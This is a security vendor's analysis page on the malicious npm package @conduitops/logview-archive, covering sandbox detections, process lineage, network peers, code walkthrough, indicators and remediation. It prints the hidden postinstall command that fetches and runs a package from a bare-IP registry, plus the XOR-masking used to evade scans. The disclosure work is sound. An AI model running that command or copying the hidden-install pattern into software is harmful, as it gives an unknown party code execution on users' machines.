Skip to content
Open-Source Registry

npm / @conduitops/logview-archive / 1.0.1

@conduitops/logview-archive 1.0.1

bitbison: flagged, behavior flagged, dependencies clean, posture not checked, pipeline clean, 1 of 1 jobs captured RiskhighVulnsnone
processes
701
operations
17K
packages
1
compiler runs
0
connections
2
build time
10s
job time
10s
capture
104 KB
records
23K
bytes / record
4.5
run c59c6413-d085-4728-ba64-ff9b85f1ed08 · built 2026-11-05 · complete View on npm
Reviewed by Bitbison: maliciousA postinstall hook runs `npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94.195:8080/dl/npm/` into the package's vendor/ directory, silently and with lifecycle scripts enabled. 1.0.1 XOR-masks the address to evade string scans.

Graph

egress · high
3

Checks

15 of 17 clear Network activity Build script activity
Build behavior▲✓✓✓✓▲✓✓✓✓
Supply chain✓✓✓✓✓✓
Pipeline✓

Detections

2
  • Install script ran `npm install @conduit/logview-cli@2.2.0 --prefix /home/runner/work/logview-archive/logview-archive/co…`
    node
    high
  • Build script connected to an address it never looked up: 139.196.94.195:8080
    @conduitops/logview-archive 1.0.1 › 139.196.94.195:8080
    high

Detection

highwitnessed

Install script ran `npm install @conduit/logview-cli@2.2.0 --prefix /home/runner/work/logview-archive/logview-archive/co…`

Unexpected build script activity

Subject
/opt/hostedtoolcache/node/24.22.1/x64/bin/node
Jobs
install, install
Rule
buildscript

Evidence

  1. Ran a package installcause

    ran `npm install @conduit/logview-cli@2.2.0 --prefix /home/runner/work/logview-archive/logview-archive/consumer-upgrade/node_modules/@conduitops/logview-archive/vendor --no-save --no-package-lock --no-audit --no-fund --loglevel=error --registry http://139.196.94.195:8080/dl/npm/`

    by /opt/hostedtoolcache/node/24.22.1/x64/bin/node /opt/hostedtoolcache/node/24.22.1/x64/lib/node_modules/npm/bin/npm-cli.js install @conduit/logview-cli@2.2.0 --pr…

  2. Written by dependency build codesupport

    script: sh -c node install.js

Remediation

A package's install script installed more packages: what they run at install and later is theirs, outside the project's lockfile. Review what was installed, remove it, and replace the package.

Detection

highwitnessed

Build script connected to an address it never looked up: 139.196.94.195:8080

Unexpected network connection

Subject
@conduitops/logview-archive 1.0.1
Destination
139.196.94.195:8080
Jobs
install
Rule
egress

Evidence

  1. Connection outside the process’s allowed destinationscause

    connection to 139.196.94.195:8080, opened by node

    subject 139.196.94.195:8080

    by /opt/hostedtoolcache/node/24.22.1/x64/bin/node /opt/hostedtoolcache/node/24.22.1/x64/lib/node_modules/npm/bin/npm-cli.js install @conduit/logview-cli@2.2.0 --pr…

  2. What a build script's fetch becamesupport

    nothing came down that the build kept

  3. Connection opened by a build script or child processsupport

    the opener descends from the build script at sh -c node install.js

  4. Tool commandsupport

    Command: /opt/hostedtoolcache/node/24.22.1/x64/bin/node /opt/hostedtoolcache/node/24.22.1/x64/lib/node_modules/npm/bin/npm-cli.js install @conduit/logview-cli@2.2.0 --pr…

    by /opt/hostedtoolcache/node/24.22.1/x64/bin/node /opt/hostedtoolcache/node/24.22.1/x64/lib/node_modules/npm/bin/npm-cli.js install @conduit/logview-cli@2.2.0 --pr…

  5. Address dialled without a lookupsupport

    node dialled 139.196.94.195:8080, which no lookup in this capture answered with

    subject 139.196.94.195:8080

What came before it

Loading the graph

Processes

install

env›node›sh›node›node

Ran
/opt/hostedtoolcache/node/24.22.1/x64/bin/node /opt/hostedtoolcache/node/24.22.1/x64/lib/node_modules/npm/bin/npm-cli.js install @conduit/logview-cli@2.2.0 --pr…
Invoked by
/usr/bin/env node /usr/local/bin/npm install --foreground-scripts
Lineage · 5 processes
  1. env/usr/bin/env node /usr/local/bin/npm install --foreground-scripts1370
  2. nodenode /usr/local/bin/npm install --foreground-scripts1370
  3. shsh -c node install.js1382
  4. nodenode install.js1383
  5. node/opt/hostedtoolcache/node/24.22.1/x64/bin/node /opt/hostedtoolcache/node/24.22.1/x64/lib/node_modules/npm/bin/npm-cli.js install @conduit/logview-cli@2.2.0 --pr…1390

Remediation

A dependency's build dialled an address written into its code, not a name it resolved. Review what the build could read and send, rotate any credential it could reach, and pin or replace the dependency.

Network

2 peers
  • 139.196.94.195:8080 build code of @conduitops/logview-archive · node · Hangzhou Alibaba Advertising Co.,Ltd. undeclared
  • registry.npmjs.org:8080 the package manager · node (consumer) · 80 files ecosystem

Dependencies

2
Dependencies2Build behaviour
consumer1.0.0
consumer-upgrade1.0.0

Versions2

Raw data

capture
104 KB
records
23,224
bytes per record
4.5

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: install success · Generated 2026-11-05 · run c59c6413-d085-4728-ba64-ff9b85f1ed08

analysis 0.1.0 · 2026-11-04 · bfee307 · graph v2

@conduitops/logview-archive 1.0.0–1.0.1 installs an unpublished package from a hidden bare-IP registry at install time

maliciousCovers 1.0.0 and 1.0.1Reviewed by BitbisonUpdated 2026-11-06

A postinstall hook runs `npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94.195:8080/dl/npm/` into the package's vendor/ directory, silently and with lifecycle scripts enabled. 1.0.1 XOR-masks the address to evade string scans.

On October 21, 2026, @conduitops/logview-archive 1.0.0 and 1.0.1 were published to npm as "streaming authenticated encryption, key management and log-archive formats for retained logs". Both releases carry a postinstall hook that quietly installs a second package, @conduit/logview-cli@2.2.0, from a private npm registry on a bare IP address over plain HTTP, http://139.196.94.195:8080/dl/npm/. That package is not on the public npm registry, and nothing in this library ever uses it. In 1.0.1 the address is XOR-masked, and the code says this is done so that "a downloaded package carries no readable address, which defeats the string scan such a package receives". So whoever runs that host can execute any code they like on every machine that installs this package. OSV lists it as MAL-2026-18183, covering both versions.

What @conduitops/logview-archive does

When @conduitops/logview-archive 1.0.1 (sha256 5269a78fa62a5dbc5ea374ac305516f3615754552c6415d68f3637768a5f2912) or 1.0.0 (sha256 2a45f2409f4227f1ce2d5c99b22b32291b4bd4f4abea44bb654f7e93ddeab241) is installed:

  • npm executes the package's postinstall script, node install.js.
  • install.js creates node_modules/@conduitops/logview-archive/vendor/. Then, through the same npm that is doing the install, it executes npm install @conduit/logview-cli@2.2.0 --prefix <that vendor directory> --no-save --no-package-lock --no-audit --no-fund --loglevel=error --registry http://139.196.94.195:8080/dl/npm/.
  • npm connects to 139.196.94.195 on port 8080 over plain HTTP, with no hostname and no TLS, and installs whatever that server returns for @conduit/logview-cli@2.2.0. Because --ignore-scripts is not passed, any lifecycle scripts in the package the server returns are executed as the installing user. All output is discarded.
  • If the server cannot be reached or refuses, the install still finishes without a message, so the user is not told anything happened.

What the code does

All of the behaviour is in install.js, lib/toolchain.json and, in 1.0.1, lib/origin.js. Line numbers below are for 1.0.1 (tarball sha256 5269a78fa62a5dbc5ea374ac305516f3615754552c6415d68f3637768a5f2912, install.js sha256 0d11efbb0880f2b9f3d4c8f073cf4ddddb105badc34ffaed48ae76d59a0609a8, lib/origin.js sha256 4a2485296ad2178b7bf07ebba6d13b300728582dd9ca673aa3e262d46e49c44e). The rest of the package (index.js, bin/, src/) is a log-archive and encryption library that makes no network connections, starts no processes and never refers to vendor/ or @conduit/logview-cli.

  • package.json:13 declares "postinstall": "node install.js".
  • lib/toolchain.json:13–14 pins @conduit/logview-cli version 2.2.0. Line 17 holds the registry as C0QaFE8eWxxcSV1SCVhKTAVaHFZFSVsAVlRaVRgCAQAeTA==, and line 18 describes it as "xor-base64 … so a downloaded copy of this package carries no readable address".
  • lib/origin.js:20 holds the key c0ndu1t-ops. Lines 23–46 base64-decode the value and XOR it with that key, which gives http://139.196.94.195:8080/dl/npm/. The file's comment (lines 12–14) says this "is obfuscation, not secrecy" and that it "defeats the string scan such a package receives".
  • install.js:36–49 loads the pin and unmasks the registry. Lines 52–55 let the environment variable LOGVIEW_TOOLCHAIN_REGISTRY replace it.
  • install.js:105–130 runs npm install <tool>@<version> --prefix <vendor> … --registry <origin> with stdio: 'ignore' and a two-minute timeout. It uses the running npm (npm_execpath, lines 90–103) or, failing that, npm on the PATH.
  • install.js:137–145 skip the install only when the project already resolves @conduit/logview-cli or a copy is already in vendor/. Lines 25–31 and 152–157 print errors only when LOGVIEW_DEBUG is set.
  • 1.0.0 is the same except that lib/toolchain.json:17 holds http://139.196.94.195:8080/dl/npm/ in plain text and install.js has no unmasking (sha256 of 1.0.0's install.js: 7ed6d0ffa75ec6cb964a3daf7990c5c30518c85d3648583d0ae1391689f2d187). The only change in 1.0.1 is hiding the address.

The package's metadata does not lead anywhere public. Its repository is ssh://git@git.conduit.internal/platform/logview-archive.git, and its homepage, bug tracker and maintainer address are also on conduit.internal. None of these can be reached from the public internet. The npm publisher is venu552. Nothing ties 139.196.94.195 to the publisher it claims to be. The code that address serves cannot be seen in this package and may change at any time. The danger does not depend on what it serves today: installing this package runs code chosen by whoever controls that address, sent unauthenticated over plain HTTP.

Timeline (UTC)

WhenWhat
10/21/26 02:38:51@conduitops/logview-archive 1.0.0 is published to npm
10/21/26 15:33:131.0.1 is published, with the registry address masked
10/22/26 06:10:48OSV publishes MAL-2026-18183 for 1.0.1
11/02/26MAL-2026-18183 is updated to cover 1.0.0 as well

If you installed it

Treat the machine, or the CI runner, as compromised: it executed code served by 139.196.94.195. Remove @conduitops/logview-archive and its node_modules/@conduitops/logview-archive/vendor/ directory, and look for @conduit/logview-cli anywhere in node_modules. Rotate every credential the installing user or the CI environment could read, including npm, cloud and source-host tokens. Search network logs for connections to 139.196.94.195:8080. If you depend on an internal package of this name, pin it to your own registry with an .npmrc scope mapping (@conduitops:registry=...) so the public copy is never resolved.

Indicators

hosts
139.196.94.195:8080
requests
http://139.196.94.195:8080/dl/npm/ (npm registry requests for @conduit/logview-cli)
files
node_modules/@conduitops/logview-archive/install.jsnode_modules/@conduitops/logview-archive/lib/origin.jsnode_modules/@conduitops/logview-archive/lib/toolchain.jsonnode_modules/@conduitops/logview-archive/vendor/node_modules/@conduitops/logview-archive/vendor/node_modules/@conduit/logview-cli/
packages
npm/@conduit/logview-cli@2.2.0
processes
sh -c node install.jsnpm install @conduit/logview-cli@2.2.0 --prefix <node_modules>/@conduitops/logview-archive/vendor --no-save --no-package-lock --no-audit --no-fund --loglevel=error --registry http://139.196.94.195:8080/dl/npm/
strings
C0QaFE8eWxxcSV1SCVhKTAVaHFZFSVsAVlRaVRgCAQAeTA==c0ndu1t-opsLOGVIEW_TOOLCHAIN_REGISTRY

Examined

1.0.0
sha256:2a45f2409f4227f1ce2d5c99b22b32291b4bd4f4abea44bb654f7e93ddeab241
1.0.1
sha256:5269a78fa62a5dbc5ea374ac305516f3615754552c6415d68f3637768a5f2912

Links